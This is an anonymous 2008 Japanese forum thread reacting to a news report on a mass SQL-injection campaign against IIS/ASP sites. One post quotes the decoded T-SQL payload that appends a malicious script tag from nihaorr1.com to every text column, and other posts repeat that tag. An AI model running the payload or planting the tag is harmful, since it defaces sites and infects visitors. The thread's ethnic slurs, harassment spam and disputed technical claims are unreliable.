【ネット】50万サイト以上の『IIS』サーバーがサイバー攻撃の影響下に［08/04/25］

脆弱性を抱える Microsoft の Web サーバー『Internet Information Services』(IIS) を用いた
Web サイトが、大規模なサイバー攻撃の対象となっている。サイトの訪問者を、
悪質コードのあるサイトにリダイレクトする手口で、被害が急増している。

最初に被害のまん延を検出したセキュリティ会社 Panda Security は、その時点で影響を受けた
IIS サーバーを28万2000台と発表していた。F-Secure もそれから1日と経たずに、
同社の公式 Blog の中で、まん延規模について51万サイトを超えると発表した。

今回の攻撃でもっとも厄介なことは、影響を受けたすべての Web サイトが見た目にはまったく
問題なく、改ざんコードが正規の Web ページ内にあることだ。コードを仕込まれたサイトでは、
IFRAME を用いたリダイレクトにより、訪問者は別のページに移動させられてしまう。
移動先には、ID 情報窃盗用の悪質コードが待ち受け、リダイレクトされた訪問者の
コンピュータにダウンロードされる。そのため、問題のないサイトを閲覧していると思って
いても、危険な状態にさらされていることになる。

Panda Security で企業向け主任エバンジェリストを務める Ryan Sherstobitoff 氏は、
次のように語った。「以前は、インターネットの影の部分に足を踏み入れることで、
感染する確率が高くなると思われていた。だが今日では、問題のある領域に行かずとも、
攻撃を受けてしまう。インターネットの良識ある部分を利用していても、感染することが
あり得る」

IIS に存在する問題の脆弱性は、正規 Web サイトを操作するための SQL コード挿入を攻撃者に
許してしまう。このコードは、訪問者を悪質サイトにリダイレクトするための IFRAME
を追加し、餌食となった訪問者のコンピュータをスキャンして、脆弱性がないか調べる。
そして、その訪問者の防御手段を潜り抜けることができる悪質コードを、コンピュータに
ダウンロードしてしまう。

この問題は IIS だけに生じるもので、『Apache』を含む他の Web サーバーには発生しない。
Sherstobitoff 氏によれば、報道などから Microsoft はこの問題を把握しているようだと
述べている。一方、問題の修正がいつ頃になるのかについて Microsoft に問い合わせたが、
本稿執筆時点までに回答は得られなかった。

Sherstobitoff 氏は、特に政府および公共サイトなどを中心に、米国に対する攻撃が最もひどい
と語り、「攻撃者は犠牲者が出ることならば、何でも構わないのだ」と説明した。

Panda Security と F-Secure は共に、Web サイトに隠蔽された悪意のあるコードが、
リダイレクトを行なうことを確認済みだ。各サイトの管理者は、自分の Web サイト内に
「<script src=http://www.nihaorr1***>」(***部分は伏せ字) というコードが仕込まれて
いないか確かめるべきだ。

ソースは
http://headlines.yahoo.co.jp/hl?a=20080425-00000011-inet-secu
依頼を受けてたてました。

犯人は中国人

いつもの事だな

そして、俺んちにバイアグラのメールが届くって分けだな

Windowsなんて無くなればいいのにな

貧乏人にはリナックス

Apache使えばええやん

windowsサーバをインターネットで公開するなんて
女がスカートとパンツをはかずに埼京線に乗るようなもの

原因を作ったやつが悪いと言うのなら
すべてはノイマンが悪いことになるが

ここにアクセス

http://209.85.175.104/search?q=cache:wttGG5bUFekJ:www.ihlondon.jp/+script+src%3Dhttp://www.nihaorr1&hl=ja&ct=clnk&cd=1&gl=jp&lr=lang_ja&client=firefox

これが組み込まれるんだね
<script src=http://www.nihaorr1.com/1.js></script>

うちの会社で、Iframeでウイルスがなぜか配られてる顧客のHPが見つかって
不正攻撃でサーバー乗っ取られた！！ って心配してログ見たけど全然問題なし

該当のファイルは普通のアカウントで正規のログインID,PASSで入ってアップロードしてただけ。
で、そのID,PASS持ってる顧客に聞いたけど、「知らない、その時間帯は何もしてない」っていうし。

？？と思ってFTPサーバーのログもう一回みたら、その顧客(日本在住)のID使ってきたやつのIPがアメリカのサーバーだった。
どうやら、サーバーじゃなくて、顧客のパソコンが乗っ取られてFTPアカウント抜かれてたみたい＞＞ID,PASS手に入れたそいつは
平然とサーバーにログイン＜＜正当なID,PASSなので当然認証通る。で、ウイルスコード仕込んだ”普通の”htmlファイルをアップロードしたようだ。
↑こんな高等なことはただのワームとかじゃできない。どっかの人間が顧客のパソコンを遠隔から自由に操作できる状態にして
ID,PASSを見つけたようだ。

いくらサーバーが対策しても、スパイウェア監視もしてないパソコンが1台でもあってそいつがHP運営してたら防げんね。

IIS使ってんだから別にいーだろ
攻撃されたらその対応に一々金出してくれて、天下のマイクロソフトを
選定したことには文句の一つもいわない金ズル専用のツールなんだから。

ビズ+のバカオヤジのMS擁護ﾏﾀﾞｰ？（･∀･)っ/凵⌒☆ﾁﾝﾁﾝ　ﾏﾁｸﾀﾋﾞﾚﾀｰ

Apache+mod_jk使っとけ
どうしてもASPがいいならMonoという手段もある

nihaorr1 でググると凄いことになってるな。
ほとんどがasp,aspxなのがマヌケｗ

サウンドハウスの流出もこれが原因だろ。

またaspページを狙ったSQLインジェクションみたいだが
正規表現で入力フォームのサニタイズしてない所がやられてる？
http://forums.iis.net/t/1148917.aspx

>>7
＞windowsサーバをインターネットで公開するなんて
　女がスカートとパンツをはかずに埼京線に乗るようなもの

逆に恐くて近付けない様な…。

　　_▲▼▲▲_
　/
./
.|・　　　　・ 　　　　ホスト坊やだよ。エコでホラ吹きヤクザだよ
.|　　〇 　　　　　　親と一緒。車の名義も親エコで親名義だよ　
　----------- ● 　　　けどサイトは立派のエコ坊やのホスト坊やサイトだよ
.　＼__________/ 　日本中の親分から信頼されている天一ホラ吹き坊やのヤクザだよ

ホラ吹きホスト坊や。ホラ吹きホスト坊や。相模原ヤクザ怖い。助けて〜おまわりさん
通報URL：http://school7.2ch.net/test/read.cgi/lic/1208881544/838
参照番号：　1209217482-1163
2008年4月26日 22:44:42
インターネット・ホットラインセンター
投資信託なんか米国ITバブルのとき解約しているがホスト坊やＷ
司法書士になれなかったＡＶストーカー
http://school7.2ch.net/test/read.cgi/lic/1208881544/l50

※こいつも大沢佑香と相模原ヤクザとsoftondemand.jp関係を持つ奴だろう
通報URL：http://softondemand.jp/corporate/
参照番号：　1209218096-1165
2008年4月26日 22:54:55

167 kB (1.656 sec.) [ ２ちゃんねる ３億PV/日をささえる レンタルサーバー

よくわからんから
127.0.0.1 www.nihaorr1.com
しておく

こら！

>>7
Media PlayerのDRMつき動画配信サービスはWindowsサーバが多い。

都合の悪いスレは完全スルーか。

MSはこっそり951306をアナウンスするし、ﾊﾞｶデベロッパは英語わからんからスルーするしなｗ
俺はApacheでもWinの80番ポート開ける勇気はないわ。
ほんと馬鹿ドザって危機感がないね。

>>22
MSDRM動画配信は日本じゃMSの下僕のYahooJapanとGyaoが頑張ってるけど
世界的には減ってるよ。それであわててシルバーライトでmacとlinuxに対応しようと
してるけど

ほかのスレあげてこのスレ沈める気だな。そうはさせん。

マイクロソフトは駄目だな

>>15
> ほとんどがasp,aspxなのがマヌケｗ
まあわざわざIIS使おうって所なら、大体ASPサービスだろうなぁ

サポート面からIIS使ってる企業多いし・・・Linux + Apacheにしろ！ってのも担当者のスキル云々もあるし無理な話だろうしなぁ

つかドットネット使いたいからIISじゃないの。
Linux + Apacheに乗換えとかなったら全部１から作り直しだろ

なんでお前ら無反応に近い感じなんだよ。
慣れきっとんのか。サイト書き換えられたりすることに関して。

技術者じゃないのでわかりませんってトコだろｗ


まあ俺もその口だが。頑張って啓蒙活動でもしてくれ

>>31
去年くらいからこの手の事件は、メディアに大々的に取り上げられないだけで、
山のように起きてるんで、今更感がね

>>29
無能VBプログラマの失業対策ｗ
サニタイズもプリペアドステートメントも？な連中に穴だらけのブラックボックスサーバ
扱わせれば世界中に迷惑かかるってわかり切ったことじゃんｗｗｗ
サポートといっても対応遅いし、実損出ても責任取るわけないし、もうIIS使ってるとこはVISA/Master使用不可にしとけよｗ

どんなにWindowsサーバがたたかれようがVB.NETファンがいる限り支持されるのさ

その昔、MS社内はApache/FreeBSDサーバーだらけだった。
WindowsServerのキャンペーンサイトもそうだった。
それを指摘され、WindowsServerに変えたら30分でダウンした。

あと、ﾊﾞｶデベロッパは巨大なVIEWSTATEをPOSTするのはヤメレ。帯域の無駄だ。
Office何とか機能を付けたIEはアクセスログ汚すし、ほんとMSの製品って世界中で迷惑掛けてるよなｗ

これってIFRAMEで飛ばされないようにセキュリティー設定しとけば
とりあえずリダイレクトは防げるってことだよな

>>36
懐かしいな。HotmailもFreeBSDだったよね。今もそうなのかな。
M$が手を伸ばしているYahoo!もFreeBSDだし、好きなのかね？

.NETってなんなの。MSNにアカウントもっているけど、いったい何の仕組みかさぱりわからない。
メッセンジャーとかのインフラ？

>>39

Linuxよりは設計が綺麗だから好きなんじゃないの？

IISて・・・・自業自得ですよ・・・

Webサイトの改ざん攻撃が拡大、世界で数十万ページが被害
SQLインジェクション攻撃で不正コードを仕掛けられたページは数十万に上るという。
http://www.itmedia.co.jp/enterprise/articles/0804/25/news020.html

こういったときに、VistaのIE7の保護モード役に立つな
VistaのIE7の保護モードならへんなサイトふんでも余裕で生還

●469 ：名刺は切らしておりまして：2008/02/22(金) 21:57:41 ID:lOshWS43
>>468
東京を敵に回さない方が君たちの身のためだよ。
すべての報道機関握ってるから、マスコミ使えば国民世論は東京の政策に味方するさ。
オリンピック候補地の件で歯向かってきた福岡が、あれ以来急にマスコミに叩かれだしたの記憶に新しいだろ。
歯向かう奴はああなる。
マスコミだけじゃない、各官庁を通じて自治体を痛い目に遭わせることだって出来る。
−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−
●471 ：名刺は切らしておりまして：2008/02/22(金) 22:14:57 ID:lOshWS43
企業は実力と思ってるのは関西人の頭い悪い証拠。
実力なくても実績なくても、東京マスコミと官僚とのコネで、いくらでも「優良企業」という幻想つくることできる。
資本主義なんて所詮こんなもの。関西で下らない努力するより、勝ち残りたければ東京にヘッド（企業本社）移せよ。
−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−
●473 ：名刺は切らしておりまして：2008/02/22(金) 22:29:18 ID:lOshWS43
都民で青学レベル以上の大卒なら、額に汗して働かなくても一定の生活できる。
月収４０万は手堅い。資本一極集中のおかげ。 将来もっと東京に資本・情報が集中する。 地方は百姓と工場労働者だけになる。そろそろ、地方は東京の奴隷だってこと悟った方が良さそうだけど

そこでapacheのIIS互換ライブラリですよｗｗｗ
今まともなのあるのかな？　うちの会社は結局内製して使ってるけど・・・

このセキュリティホールのせいで大損害受けたトレンドマイクロとかサウンドハウス
は、MSに賠償請求したほうがいいな

http://ﾆｰﾊｵｗｗｗ

>>1

やばいだろ、これ

FUDって奴か。

ネット時代のスパイ活動、発信源は中国にあり
サイバー攻撃が激増、標的は政府機関や防衛関連企業
http://business.nikkeibp.co.jp/article/world/20080418/153470/

すげーなサウンドハウスって防衛関連企業だったんだな。

>>47 つーかまともな会社ならIIS使うのが馬鹿だろ。
　　　Solaris+Apacheにしろよ。

>>53
古代人の発想だな

実際>>1のような問題があるしな。イントラならともかく外部向けでIISは無いわ

>>54 Windowsしか出来ない馬鹿は黙ってろ

>>54
現代人のお薦めは？

>>57
Windows 7

>>58
確かに安全なWindowsって、存在しないWindowsだけだからな。

IISにSQLの機能なんてデフォルトで統合されてたっけ？

IISとSQL Server全然関係ないだろこれと思って記事の元になってるblog見たら
http://www.f-secure.com/weblog/archives/00001427.html

UPDATE: We've been receiving some questions on the platform and operating systems affected by this attack.
So far we've only seen websites using Microsoft IIS webserver and Microsoft SQL Server being hit.
Do note that this attack doesn't use any vulnerabilities in any of those two applications.
What makes this attack possible is poorly written ASP and ASPX (.net) code.

IISとSQL Server別に関係ないよって書いてあるな

>>61
SQLインジェンクションじゃないとしたら、aspコードが走るIISへのゼロデイアタックってことだろ。
そっちの方が怖いわｗ

>>62
お前英語読めないのか？

というか英文にはしょぼいASPコードのせいって書いてあるが

http://forums.iis.net/t/1148917.aspx

decoding that binary data which is cast to a varchar yields this:

DECLARE @T varchar(255)'@C varchar(255) DECLARE Table_Cursor CURSOR FOR
select a.name'b.name from sysobjects a'syscolumns b where a.id=b.id and
a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO
@T'@C WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set
['+@C+']=rtrim(convert(varchar'['+@C+']))+''<script src=nihaorr1.com
/1.js></script>''')FETCH NEXT FROM Table_Cursor INTO @T'@C END
CLOSE Table_Cursor DEALLOCATE Table_Cursor

>>57
現代人の選択は自分のニーズを満たすアプリケーションがもっともよく
稼動実績を持つプラットフォーム。

いまさらApacheがとかIISがとか、低レベル議論する時点で古代人。
通常ニーズの範囲内ですでに差はない。あるとしたら単に使いこなし能力の
差でしかない。

そんな所の差がどうたら、コストがどうたら言う前に、問題のアプリを
フル活用して稼動させることで得られるメリットを最大化するほうに
脳味噌は使ったほうがいい。

（　´_ゝ`）ﾌｰﾝ

ブラックボックスの部分が大きく、挙動が把握出来なくなる恐れのある
IISは怖くて使えないな。

こんなもんこっそり出さずに翻訳して表示してやれよ。　全く危機感なしｗｗｗ
http://support.microsoft.com/kb/951306/ja

>>69
結局そういう隠ぺい体質も含めてブラックボックスなんだよな。。。

ゴミをありがたがって使うのがWindowsユーザ。

技術者とは呼べないな。

>>70
ユーザー側も(∩゜д゜)ｱｰｱｰ聞こえない状態だし。
ASPｽﾚとかSQLServerｽﾚとか平和なものだしｗ

Win 2008 Server買えばOK

そうやってMSは旧OSを陳腐化させていくわけねｗ

素人で申し訳ない
アホ板掲示板で株広告サイトがウザイんです
セコくタダで嵐して貼りまくり
攻撃法教えて下さい

>>75
ます、SEになってそのサイトをIISで運用するよう提案することからだなｗ

ますます酷くなるな。　IIS使う馬鹿な企業はさっさと潰れれ

訴えれ

「ホワイトハウスが500万通の電子メールを紛失、原因はメールシステムの移行」

クリントン政権の下ではこの法令を満たすようLotus Notesで電子メールの自動分類及び
保存が行われていたとのこと。このシステムはメールが改変されたり削除されたりしない
ためのセーフガードも備えていたという。

しかしブッシュ政権がMicrosoft Outlook and Exchangeへの移行を決めたため、ホワイト
ハウスはメールをソートし、.pstファイルにする作業をマニュアルで行うことにしたそうだ。
人の手による作業であったため、該当メールが正しく保存されなかったり、複数のサーバに
分かれて保存されたりし、結果として500万通ものメールの行方が分からなくなってしまっ
たらしい。

http://arstechnica.com/articles/culture/bush-lost-e-mails.ars

馬鹿だ。さすが元祖猿大統領！！

SQLインジェクションの脆弱性があるウェブサイトが50万あるってどうやって調べたんだろう。

>>81
原因はSQLインジェクションじゃなくて、IIS+MS SQLの組み合わせ時に出来るセキュリティホールってことじゃね

MS SQLServerなんてどこにも書いてないよ。それに外部からどんなDBサーバを使っているのか調べることなんて基本的に不可能だろ。
そもそもSQLインジェクションに成功したとしても、それで確実にページ書き換えできるわけじゃない。
出力前にエスケープ処理を通ってるかどうかを外部から判断できるわけない。
なんかこの記事、おかしい。

>>83

http://www.microsoft.com/technet/security/advisory/951306.mspx

>>65みたいなT-SQLが通ってしまうということはユーザ権限をしっかり管理してないﾊﾞｶデベロッパばかりということだなｗ
低レベルのOSにはそれに見合った開発者しかいないということｗｗｗ

>>79
Windows鯖は何やらせてもダメだな。

>>79
サルすぎる・・・。

これは素晴らしい”選択と集中”ですね。

ApachとかLighttpじゃだめなのか？

>>84それ関係ないよ。
SQLインジェクションというのは、エスケープしそこねたSQLを実行することで引き起こされる脆弱性だから。
どんな言語、どんなサーバを使っていても起こりうる問題で、ウェブサイトデベロッパーに責任がある。
1-2年前に価格コムが同様の攻撃を受けたけど、あそこはApache+Perlだけど、別にApacheに責任があるわけじゃない。
スタックオーバーフローなんかを使った攻撃に対する脆弱性とは別種の問題だ。

>>90
さらっと嘘つくなよｗ　あの事件前、価格.comは混雑してるときSQLServerのタイムアウトエラーメッセージを吐いてたぞ。

HTTP/1.x 200 OK
Content-Length: 11931
Content-Type: text/html
Content-Encoding: gzip
Content-Location: http://kakaku.com/index.html
Server: Microsoft-IIS/6.0

Apatch＋MySQLならSQLインジェクションなんて有り得ないのに
いまだにIIS＋SQLサーバーとかﾃﾗﾊﾞﾛｽwww

>>90
>価格コムが同様の攻撃を受けたけど、あそこはApache+Perl

嘘つくな
http://uptime.netcraft.com/up/graph?site=http://kakaku.com/

IISは今も昔もうんこ

さらしage

>>90
>あそこはApache+Perlだけど

それどこで受信した電波情報？

>>90
結局こいつトンズラ？

さすがブラックボックスをありがたく奉るマンチキンw
Winでサーバ立てるﾊﾞｶってどうせ大口叩く割には１本抜けてるから、大穴開けてクラックされるんだろなw

おっと晒しageとかなきゃwww

ただいまcIrPfd5Zは時計の針が0時を回るのを息を潜めて待っておりますｗ

>>92
別にapacheでもmysqlでも、原理上「SQLインジェクション」というのは、
起こりうるものだと思うんですが。まあ原理を考えれば当たり前のことだけど。
この問題、俺は、Win鯖を扱う技術者のレベルが低すぎるせいで引き起こされているかと
思うんだよな。
コボラー上がりのVB厨とか、ほんとヤバイからなｗｗｗ

>>101
> コボラー上がりのVB厨とか
コボラーはCOBOL以外で使用するのは危険過ぎる…

業界でWindowsべったりなのコボラー上がりが多いよな。
コボラーは所詮使い捨ての部品

アイアイアイアイ
アイアイアイアイオ
さーるさーんだよ〜〜〜

>>103
言語の概念も仕様も全然違うのに、コボルの流儀を持ち込もうとするからなｗｗ
なんでだろうな。

MS嫌いの技術者も困るが、MS製品しか扱えない技術者はもっとたちが悪い

これって…あんまりネットサーフィンしない方がいいって事かな修正されるまで

>>107
少なくともIE使うのはやめたほうがいいじゃね

>>90
>>>84それ関係ないよ。
>SQLインジェクションというのは、エスケープしそこねたSQLを実行することで引き起こされる脆弱性だから。
>どんな言語、どんなサーバを使っていても起こりうる問題で、ウェブサイトデベロッパーに責任がある。
>1-2年前に価格コムが同様の攻撃を受けたけど、あそこはApache+Perlだけど、別にApacheに責任があるわけじゃない。
>スタックオーバーフローなんかを使った攻撃に対する脆弱性とは別種の問題だ。


ヴァカ？

必死で中国人が粉塵爆発を否定してるな

このスレに沸いてる８割くらいの奴と一緒に仕事したくないなと思った今日この頃。

>>111
そりゃあ、ApacheとIISの区別もつかない知ったかと仕事したらトラブル確定だからな。。。

>>112
そんな池沼いるのかよ、、、と思ったら上にいたｗ

インターヌットというよくわからんもん使うからこうなるんや！
やっぱり伝書鳩が1番安全

ネタかと思ったらまじかよ

貧乏企業はIIS

穴だらけｸｽﾞデベロッパ皿仕上げｗ

http://www.google.co.jp/search?q=nihaorr1
nihaorr1 の検索結果 約 273,000 件

暫らくwebの仕事から離れてるけど、10年くらい前はネスケの鯖使ってたな〜。

当時のwindowsはデスクトップPCくらいしか使い道が無いイメージだった。

あの頃よりはマシになってるんじゃまいか？

全然

むしろ悪くなってる

NTの頃はシンプルだし安定してたんだけどな。2003サーバは
意味不明のハングアップするからコマメに再起動しなきゃならんし
この前なんか共有フォルダにアクセスしたら再起動したぞ

そうか？　ファイルサーバとADのDCとしてしか使わず、WinUpdateをオフにしておけば１年くらい再起動なしで稼働してるけどな。
ただし、TCPポートを絶対外向けに開けないこと。IISだろうがApacheだろうがWinでポートを晒すのは自殺行為w

そりゃただのNASだろw

だから外向きのサーバには向いていないのだろ。

Fsecureのアンチウイルスサーバがファイル共有型から
Web経由になったとき一寸だけだけIISですぐApacheベースになったよ。

さらにすこしするとLinuxベースも出た。

某政府系組織でアンチウイルスサーバが一番先に感染して
感染拡大した時期。

今どきIIS使っているやついるの？

>>90
>>>84それ関係ないよ。
>SQLインジェクションというのは、エスケープしそこねたSQLを実行することで引き起こされる脆弱性だから。
>どんな言語、どんなサーバを使っていても起こりうる問題で、ウェブサイトデベロッパーに責任がある。
>1-2年前に価格コムが同様の攻撃を受けたけど、あそこはApache+Perlだけど、別にApacheに責任があるわけじゃない。
>スタックオーバーフローなんかを使った攻撃に対する脆弱性とは別種の問題だ。


ヴァカ？
http://uptime.netcraft.com/up/graph?site=http://kakaku.com/

IISもSQL Serverもちゃんとパッチ当ててチューニングしてやれば使えるらしいんだけど、
その辺の情報があんま出回ってないのが問題・・・
（つか、その辺が出来るほど頭のあるエンジニアなら大抵IIS使わないし・・・）

MS製品が叩かれる原因に、ソフトが云々ってのもそうだけど、使ってるベンダが
ｼｮﾎﾞくてコミュニティがレベル低いってのもあるかもね

自称エンジニアのオタ大集合ですねｗ

あー
こりゃひどいな

>>128

そりゃ>>90だけw

>>65

素朴な疑問なんだが、
複数のSQL文をそのままスペースあけてくっつけてあるが
SQL-Serverでは普通にこんな文が通るのか？
;とか付けなくても実行されるの？

>>127
これが一番原因でしょ。　頭の悪いエンジニアがWindows担当する。

>（つか、その辺が出来るほど頭のあるエンジニアなら大抵IIS使わないし・・・）

>>117
組み込み系ハードの某有名メーカーが…

IIS/SQL Serverは、まったりと設定しても充分な性能が出る低負荷なシステムで使うべき。
セキュリティやパフォーマンスがクリティカルな案件ではLAMPやOracleを選択すべき。

>>133
これもすごいｗ
GO WAY ! !<script src=http://www.nihaorr1.com/1.js></script ... - 23:39
倖田來未 avex network inc.
mu-mo.atmusic.jp/asx.asp?id=RBS0-N0028

普通にJava/Perl/PHPとかで作っておけばいいものを
わざわざIISでaspとかキワモノ路線狙うからだ…

MSの反応はいつもながら遅いな
放置プレイか

>>132
>頭の悪いエンジニアがWindows担当する。

そういうこと。

会社の公開ＷＥＢサーバがＩＩＳで、インターネットからＦｏｒｔｉｇａｔｅを通してＩＩＳにいくようになっているんだけど問題ありでしょうか？

>>139
IIS使ってる以上ムリぽ

やっぱダメじゃんｗ

つまり、asp、aspxのサイトでクレカなんか使う奴は情報弱者ということでOK？

>>39
確か、Hotmailを買収して、かなりの台数をWindowsに入れ替えたら、
攻撃受けたりしてサービスの処理能力が追いつかなくなり、
あわててFreeBSDに戻したんだっけ。

>>143
2chもFreeBSDだしな。
もっとも、2chをWIndows鯖なんかにしたら10秒と持たんがｗ

>>90
>>>84それ関係ないよ。
>SQLインジェクションというのは、エスケープしそこねたSQLを実行することで引き起こされる脆弱性だから。
>どんな言語、どんなサーバを使っていても起こりうる問題で、ウェブサイトデベロッパーに責任がある。
>1-2年前に価格コムが同様の攻撃を受けたけど、あそこはApache+Perlだけど、別にApacheに責任があるわけじゃない。
>スタックオーバーフローなんかを使った攻撃に対する脆弱性とは別種の問題だ。


ヴァカ？
http://uptime.netcraft.com/up/graph?site=http://kakaku.com/

だめだこりゃ

やっぱり、IISはだめだな

こういうのがあること自体、使うには値しない。

IISがダメという奴はダメと言ってりゃ良い。ニートはそれで十分。
仕事ではそうはいかんのだよ。

なぜか、ここが紹介されていないので出しとくわ。
http://www.microsoft.com/japan/technet/security/guidance/sqlinjection.mspx

>>148
客からしたら、それで問題が出たら、君らを死ぬまで叩くだけだよ。

君らのような下等なIT奴隷に仕事振っても、自分たちはぬかってないからさ、
なにかあったら、君らを訴訟の対象とするだけ。

ましてやこういう話が出ていて、まんまと攻撃対象になったら、君らは責任
を問われるだけだよ。

>>150
そしてMSはそれに対して何か保証してくれるわけでもない。
そう考えると、あのバカ高いライセンス費ってなに？

>>151
わからん、相談料と対策費とチューニング費用とテスト費用と
あとなんだっけ、まあなんせ別なんですよ

RHELとかだったら同じように高い金払うんじゃないの?

>>79
さすが、MSの分割を阻止した猿大統領

>>151
まさにボッタクリ

値段が高くてクラックされやすく、おまけに実質無保証ですか。。。

高い？ニートってこえーなｗ
仕事には納期と予算があってな、結局安上がりになるんだよ

>>157

でも、サウンドハウスさんとかは後から大変大きなツケをお払いになったようですがｗ

「SQLインジェクション・ワーム」出現、Webサイトを自動的に改ざん
http://itpro.nikkeibp.co.jp/article/NEWS/20080507/300803/
http://isc.sans.org/diary.html?storyid=4393

IIS以外は大丈夫と思ってたヴァカ、ワームになっちまったぞ

>>159
「ワーム」に感染して周辺に迷惑かけるのって、Windows鯖だけじゃんｗ
グルーバルネットワークにWindow鯖接続禁止になりゃいいのに。

>>160

Windowsクライアントがワームを飼ってWindows鯖をクラックか？
こんなことでネットの帯域を食われるのは大迷惑だな。
いいかげんWindowsでのインターネットは禁止にしろよｗ

>>161
出来の悪い欠陥車で道路を占有するようなもんだしな。
いい加減勘弁してくれよ。

>>162
相当の高い金はらったところだけ安全に利用できるのは道路と同じだろ

叩きまくればいいってもんではないんだぞ

>>163
なんだこの資本主義覚えたての中国人はｗ

高い金払って欠陥車買わされたなら怒るわな、普通。

IISって、ネット公開するのにクライアントライセンスは
どうなってるんだ？　
ググるとわざわざ分かりにくいようにしてるとしか思えないな。
社内公開専用にしといてーってことじゃねーのwwwww

M$は公式に否定してるよね、「IISのせいじゃねぇぞゴルァ」

>>164
>>165
なら、車検もない高級車とでも例えられないのか

>>168
いや、高級じゃないしｗ

バカと貧乏人とその両方だらけｗ

>>170
>バカと貧乏人

MSの一番のお得意様ですね。わかります。

ところで正直
LinuxとFreeBSDってどっちが良いの？

BSDは正統派だが、安定しないとjavaなどの開発環境が揃いがたい
Linuxはなんでもあり、というわけでもないがいろいろやる　癖　がある

2chがBSDでニコニコがLinuxってのも、なんとなくOSの性質に
マッチしてる気がするな

>>174
どっちもWindows鯖なんかじゃ怖くて運用できないところは共通してるなｗ

>>148
「丸投げしかできない無能な大手SI」や「下請けの土方」じゃ選択権ないしな。

Linuxが不安定とよく言われるけどあくまで比較対照は商用UNIXとの比較だからね。
しかも初期の頃の評価だ。Windowsとの比較ではLinuxが圧倒的に安定という評価でOK

今のLinuxは世界中のベンダーが共同で開発やデバッグしているようなものだから。
ものすごい勢いで不安定な部分は潰され、急速に安定してきている。
日本のベンダーは評価基準厳しいからデバッグでかなり貢献しているよ。

Irixからchkconfig solarisからpumなど商用OSの機能が
商用OSのベンダーの手により移植されている。

中国サイトのサーバを見るとほとんどが
Windows2003上のIIS6だな

９割方違法コピーだと思うが

韓国はやたらと違法コピーのM$　SQLサーバ多いようだね。
以前ワーム流行した時に殆どの回線ダウンしたぐらいだからね。

違法コピーしてまでWIn鯖を使いたい気持ちが良く分からんよな
なんかMSに対するコンプレックスでもあるんだろうか

もうMS製品は中韓専用でよくね？

「MSのブログ検閲は中国政府より過激」著名ブロガーが批判

マイクロソフト社が投稿をブロックしている禁止語には、「台湾独立」、「ダライ・ラマ」、
「人権」、「自由」、「民主主義」などがある。

マイクロソフト社は中国政府が実施している検閲の基準を超えているという。政府の検閲では
、共産主義政府による統治を危うくする言論については断固として対処するが、「自由」のよ
うな言葉まで公然と禁止しているわけではないというのだ。

http://wiredvision.jp/archives/200506/2005062204.html

だめだこりゃ

いい加減にしろ！
Windowsサーバー使い奴はアホ

ホントに世界が迷惑してるんだよ
Windowsは選択肢にないの！

いい加減にしろ！
Windowsサーバー使い奴はアホ

ホントに世界が迷惑してるんだよ
Windowsは選択肢にないの〜！

>>181
もうダマせるのは中韓ぐらいだろうしな...。

韓国もActiveX地獄に陥っているから流石に懲りたんじゃね?

>>151
案外大手のソフト屋が高い金でMS製品を入れる理由なぁ。

・馬鹿な官庁相手で仕事が取りやすいから。
　実際「Linuxなんて誰が保証してくれるんだ！」とかいう事を言う
　「MSなら安心」とか言う

・VB6からVB.NETへ流れた関連会社や外注を安く使えるから。
　大手の子/関連会社なんて、社内は未だにVB6しか知らないようなのがワンサカ余ってる
　web系も「cssって単語覚えました」みたいなレベルのが大量に余ってる
　それは「不正アクセス行為になりますから、正規の手順ではないのでサポート出来ません」とかも言うぞw

>>188

ダマされやすいバカが多い国の話されてもなあ。
http://japan.cnet.com/column/korea/story/0,2000067066,20343329,00.htm

つまりゲイツが悪と？

>>189
お隣のActiveXは笑えたが、日本国内も笑えん状態だよ

他人の振り見てじゃないが、ActivXとIISの撤廃は国是だな

実際WindowsのエンジニアとUNIXのエンジニアでは
レベルが違いすぎるからなあ

Windowsのエンジニア10万人とUNIXのエンジニア一人が等しい能力だそうだよ。
もうWindowsの時代は終わったんだよ。

それはいえる

レベルが違うから安く使えるんだけどな。

でもUNIXエンジニアとUNIXも触れる程度のエンジニアは別だよ。
Windows系の香具師らの立てたUNIXサーバは穴だらけだったからね。
不要サービス山のように上げていて気持ち悪い。

自称LinuxエンジニアもWindows系に毛の生えただけのが多いから
最低限RedHatCEは必須でしょ。

UNIX系で仕事してたならRedHatCEは結構楽勝
Linux固有問題3割ぐらいだ。

合格率低いのは独習でコマンド使える程度が
講習受けただけの香具師が多いからかな。

講習会いってまじめに勉強したのが落ちて
会社命令で何の準備もなく受けた某外資系の香具師が簡単に合格してた。

sambaって踊るのか？　には吹いた。

富士山マガジンサービスは12日、同社が運営する雑誌専門の
オンライン書店サイト「Fujisan.co.jp」が改竄され、閲覧者のPCに
ウイルスをダウンロードさせるコードが埋め込まれていたことを
明らかにした。

http://uptime.netcraft.com/up/graph?site=http://fujisan.co.jp/

急遽Linux鯖に。わろたｗ

IISといえばきのう超大口ユーザのJTBが早朝から夕方までメンテで閉鎖してたな。すごい機会損失ｗ
MS製品のすさまじい可用性を見たわｗｗｗ

>>198
大損害ｗ

アフォなWindowsサーバを使いかつクラスタも組んでいなかったという事かな？

お前らニートの視野の狭さはすばらしいｗ

弊社WEBサイト改竄に関するお知らせ
http://www.fujisan.co.jp/HTML/INFO/notice080508.htm

>>202
SQLインジェクションかぁ
javaとかならprepare使うから大丈夫なのになぁ
aspダメポ

なんでIISなんか使ってるん？

馬鹿だから

>>204
安かろう悪かろうだから
それに気付けないから

>>204
給料安くてもいいという失業寸前のﾊﾞｶVB奴隷が腐るほどいるから

バカだからVB厨なのか
VB厨だからバカなのか

そういえば、アメの国防省関連はsolarisのやつだよね？
日本だと一部でも使ってるって本にあったけど、どこだろう？
ま、日本の大体のosはwindowsだろうけどさ

U.S.ArmyとかFBIはmacだし、さすがにアメはそこら辺のこと分かってる。

>>210
macはflashの脆弱性で・・・
まあ業務だからwebブラウジングはしないだろうけど・・・

サーバーのお話なんですけど...

鯖でmac!

US陸軍の鯖
http://uptime.netcraft.com/up/graph?site=http://www.army.mil/

IISはセキュリティ対策もばっちりなサーバーですから
どんどん使いましょう。
踏み台が多いほうがハッカーも助かるので。

どちらにしても、設定とパッチ当ての問題だと思うが

>>216
ところがWindows鯖の場合、パッチ当てするとハード丸ごとの再起動となる上、
